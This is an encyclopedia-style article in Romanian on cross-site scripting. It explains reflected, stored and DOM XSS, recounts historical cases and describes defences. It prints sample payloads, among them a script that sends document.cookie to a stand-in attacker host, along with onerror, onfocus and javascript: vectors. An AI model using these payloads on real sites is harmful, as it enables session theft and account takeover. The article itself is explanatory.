XSS ( English Cross-Site Scripting – „cross -site scripting ”) – un tip de atac asupra sistemelor web , care constă în introducerea de cod rău intenționat în pagina emisă de sistemul web (care va fi executat pe computerul utilizatorului în momentul deschiderii acestuia). această pagină) și interacțiunea acestui cod cu serverul web al atacatorului. Este o variantă a atacului Code Injection .
Specificul unor astfel de atacuri este că codul rău intenționat poate folosi autorizația utilizatorului în sistemul web pentru a obține acces extins la acesta sau pentru a obține datele de autorizare ale utilizatorului. Codul rău intenționat poate fi introdus într-o pagină fie printr-o vulnerabilitate din serverul web, fie printr-o vulnerabilitate pe computerul utilizatorului [1] .
Termenul este prescurtat ca „XSS” pentru a evita confuzia cu foile de stil în cascadă care folosesc abrevierea „CSS”.
XSS este pe locul al treilea în Riscurile cheie ale aplicațiilor web, conform OWASP 2021 [2] . Multă vreme, programatorii nu le-au acordat atenția cuvenită, considerându-i inofensivi. Totuși, această opinie este eronată: pot exista date foarte sensibile pe o pagină sau într-un cookie HTTP (de exemplu, un identificator de sesiune de administrator sau numere de document de plată), iar acolo unde nu există protecție împotriva CSRF , un atacator poate efectua orice acțiune disponibile utilizatorului. Cross-site scripting poate fi folosit pentru a efectua un atac DoS [3] .
Securitatea pe internet este impusă prin mai multe mecanisme, inclusiv un concept important cunoscut sub numele de regula de restricție a domeniului . Această regulă permite scripturilor care se află pe paginile de pe același site (https://mybank.example.com) să acceseze reciproc metodele și proprietățile fără restricții, dar împiedică accesul la majoritatea metodelor și proprietăților pentru paginile de pe alt site (https:// othersite .example.com) (link indisponibil) [4] .
Cross-site scripting exploatează vulnerabilitățile cunoscute din aplicațiile web, serverele (sau pluginurile de sistem legate de acestea). Folosind unul dintre ele, atacatorul încorporează conținut rău intenționat în conținutul unui site deja piratat. Ca urmare, utilizatorul primește conținut îmbinat într -un browser web care a fost livrat dintr-o sursă de încredere și, astfel, acționează în conformitate cu permisiunile acordate acelui sistem. După ce a reușit să injecteze scriptul necesar într-o pagină web, un atacator poate obține privilegii ridicate în ceea ce privește lucrul cu pagini web, cookie-uri și alte informații stocate în browser pentru un anumit utilizator.
Expresia „cross-site scripting” însemna inițial interacțiunea unei aplicații web vulnerabile cu site-ul unui atacator în așa fel încât codul JavaScript pregătit de atacator să fie executat în contextul domeniului atacat (vulnerabilitatea XSS reflectată sau stocată). Treptat, definiția a început să includă și alte modalități de încorporare a codului, inclusiv utilizarea de limbaje robuste și non-JavaScript (cum ar fi ActiveX , Java , VBScript , Flash și chiar HTML ), creând confuzie printre nou-veniți în securitatea informațiilor . [5]
Atacurile XSS împotriva bibliotecii React JS sunt prevenite în mare măsură, deoarece totul este convertit în șiruri de caractere înainte de a fi randat. Acest lucru asigură că nimeni nu va injecta vreodată ceva ce nu a fost scris în mod explicit de un dezvoltator JS într-o aplicație web.
Vulnerabilitățile XSS au fost raportate și exploatate încă de la mijlocul anilor 1990 [ 6] . Site-urile notabile afectate în trecut includ site-uri de rețele sociale precum Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] și altele.
Nu există o clasificare clară a scripturilor între site-uri. Dar majoritatea experților disting între cel puțin două tipuri de XSS: „reflectat” („reflectat XSS” sau „Tip 1”) și „stocat” („stocat XSS” sau „Tip 2”) .
Atacul de vulnerabilitate reflectat este de departe cel mai comun atac XSS [13] . Aceste vulnerabilități apar atunci când datele furnizate de un client web, cel mai frecvent în parametrii de solicitare HTTP sau sub formă de HTML , sunt executate direct de script-uri de pe partea serverului pentru a analiza și afișa pagina de rezultate pentru acel client fără o procesare adecvată [14] . Un atac XSS reflectat este declanșat atunci când un utilizator face clic pe un link special creat.
Exemplu:
http://example.com/search.php?q= < script > Faceți ceva ();</ script >Dacă site-ul nu scapă de paranteze unghiulare transformându-le în „ <” și „ >”, vom primi scriptul pe pagina cu rezultatele căutării.
Atacurile reflectate sunt de obicei trimise prin e-mail sau postate pe o pagină Web. Adresa URL de momeală nu este suspectă, indicând un site de încredere, dar conține un vector XSS. Dacă site-ul de încredere este vulnerabil la vectorul XSS, atunci urmărirea linkului poate determina browserul victimei să execute scriptul încorporat.
Stocat (permanent)XSS stocat este cel mai distructiv tip de atac. XSS stocat este posibil atunci când un atacator reușește să injecteze cod rău intenționat într-un server care se execută în browser de fiecare dată când este accesată pagina originală. Un exemplu clasic al acestei vulnerabilități sunt forumurile în care este permisă lăsarea de comentarii în format HTML fără restricții, precum și alte site-uri Web 2.0 (bloguri, wiki-uri, panouri de imagini), când textele și imaginile utilizatorilor sunt stocate pe server. În aceste texte și figuri sunt inserate scripturi.
Fragment de cod pentru furtul unei chei cu un ID de sesiune:
< script > document . locație = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + document . cookie </ script > Modele DOMXSS în DOM apare pe partea clientului în timpul procesării datelor în interiorul unui script JavaScript. Acest tip de XSS și-a primit numele deoarece este implementat prin DOM (Document Object Model) - o interfață de programare independentă de platformă și limbaj, care permite programelor și scripturilor să acceseze conținutul documentelor HTML și XML, precum și să modifice conținutul, structura si proiectarea unor astfel de documente . Cu o filtrare incorectă, este posibil să se modifice DOM-ul site-ului atacat și să se realizeze execuția codului JavaScript în contextul site-ului atacat.
Exemplu:
< body > < script > document . scrie ( locație . href );</ script > </ body >Exemplul XSS DOM este un bug găsit în 2011 în mai multe plugin -uri jQuery [15] . Tehnicile de prevenire XSS DOM includ măsuri care sunt tipice XSS tradiționale, dar implementate în javascript și trimise către paginile web - validarea intrării și prevenirea atacurilor [16] . Unele cadre javascript au apărări încorporate împotriva acestor și altor tipuri de atacuri, cum ar fi AngularJS [17] .
Bugzilla , 2004 [19] În unele browsere (cel puțin Internet Explorer ) când se specifică o adresă URL
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alertă(„foo”);</script>nu există codificare URL și codul
document . scrieți ( "<p>URL: " + document . locație + "</p>" );injectați scriptul în pagină.
Din cauza erorilor, browserul poate executa scripturi în format SVG , încalcă regula Politicii Același domeniu . Acestea sunt greșeli grave; după ce sunt descoperite, se închid rapid, însă, în perioada de tranziție, aproape toate site-urile Web 2.0 devin periculoase : forumuri, wiki-uri, panouri de imagini. Dacă se găsește o astfel de eroare, se recomandă să utilizați un alt browser până la lansarea actualizării.
Există și erori mai subtile care apar în condiții foarte specifice și nu provoacă daune majore. Este posibil ca astfel de erori să nu fie corectate ani de zile și este mai profitabil să remediați site-ul decât să așteptați o actualizare a browserului.
Fără evadare a caracterelor speciale HTML Tot textul personalizat trebuie să fie exclusphpBB , 2002 [20] [21] . Deși adresa URL a imaginii este verificată în raport cu protocolul (doar permis http:), adresa URL în sine nu este eliminată în niciun fel și o linie ca
[img] http://aa/a "onerror=" javascript:alert(document.cookie)[/img]puteți trage un script personalizat în document.
Erorile site-ului sunt mult mai frecvente. Pentru a vă asigura că browserul nu confundă șirul cu o etichetă HTML, trebuie să se evadeze cinci caractere : '"&<>. Este posibil ca serverul să nu evadeze toate caracterele (un defect bine-cunoscut PHP [22] ), sau programatorul web pur și simplu uită să scape din șir.
În mod normal, textul este stocat fără escape în bazele de date și toate șirurile personalizate trebuie să fie eliminate de fiecare dată când sunt încorporate în HTML: de exemplu, dacă adresa URL a imaginii nu este salvată , utilizatorul poate introduce ceva de genul http://example.com/img.png" onmouseover="javascript:DoSomething();.
Multe site-uri permit formatarea textului folosind un fel de limbaj de marcare ( HTML , BBCode , markup wiki ). Adesea, nu se realizează o analiză lexicală completă a limbajului de marcare, ci doar transformarea în HTML „sigur” folosind expresii regulate [23] . Acest lucru simplifică programarea, dar necesită o înțelegere aprofundată a modului în care scriptul poate infiltra codul HTML rezultat.
Fără filtrare a atributelor și a valorilor acestora în etichetele permiseUn exemplu tipic ar fi un link <a href="javascript:DoSomething()">. Chiar dacă forumul permite link-uri externe, nu ar trebui să lăsați protocoalele javascript:și data:.
Alte atacuri nu sunt XSS, dar alte atacuri nu sunt mai puțin dăunătoare: un hacker poate specifica un server cu un canal de Internet îngust ca adresă, paralizându-și activitatea cu un număr mare de solicitări, sau îl poate folosi pentru a aranja un atac XSRF .
Schimbarea codificării în antetul paginiiBrowserele moderne încearcă să determine codificarea unei pagini din mers și să interpreteze html în funcție de acea codificare. Dacă eticheta <title>se află înaintea etichetei și este umplută cu date utilizator, un hacker poate insera un <meta>cod html codificat UTF-7 rău intenționat , ocolind astfel filtrarea caracterelor <precum ". Pentru a vă proteja împotriva acestei vulnerabilități, trebuie să specificați în mod explicit codificarea paginii înaintea oricăror câmpuri personalizate. HTML 5 interzice în mod explicit compatibilitatea cu browserul pentru codificarea UTF-7 ca fiind potențial periculoasă. [24]
Prin SQL InjectionDacă site-ul permite atât injectarea de cod SQL, cât și afișează conținutul bazei de date fără nicio evadare (fie din ignoranță, fie codul HTML gata făcut este stocat în baza de date, [25] sau autorul știe sigur că există nu există caractere „rele” în baza de date) , puteți efectua un atac neobișnuit.
Prin injectarea codului SQL, scriem pagina „otrăvită” în baza de date. Dacă cineva obține acces la acest rând al bazei de date, un script rău intenționat va intra în browser. Există atacuri fără a stoca HTML în baza de date - DBMS în loc de câmpul stocat în baza de date va returna scriptul care este scris în textul solicitării.
Un atac XSS activ nu necesită nicio acțiune din partea utilizatorului în ceea ce privește funcționalitatea aplicației web.
Exemplu:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Acest exemplu arată un câmp de intrare care are un handler de evenimente focus care execută codul de atac real, iar proprietatea de setare a focalizării automate este activată pentru acest câmp de intrare. Acest lucru setează automat focalizarea, care apelează handlerul setului de focalizare care conține codul de atac. Atacul este activ și se efectuează automat, fără a necesita nicio activitate a utilizatorului.
Pasiv (autonom)Un atac XSS pasiv este declanșat atunci când un utilizator efectuează o anumită acțiune (clic sau trecerea mouse-ului etc.).
Exemplu:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
Exemplul arată un hyperlink care captează atenția utilizatorului într-un anumit mod și/sau ocupă spațiu semnificativ care crește probabilitatea de a trece cu mouse-ul peste, în acest caz cu caractere mari. Hyperlinkul are un handler de evenimente mouseover care conține codul de atac. Atacul este pasiv deoarece nu face nimic și codul de atac nu se execută în timp ce așteaptă ca utilizatorul să treacă cu mouse-ul peste link.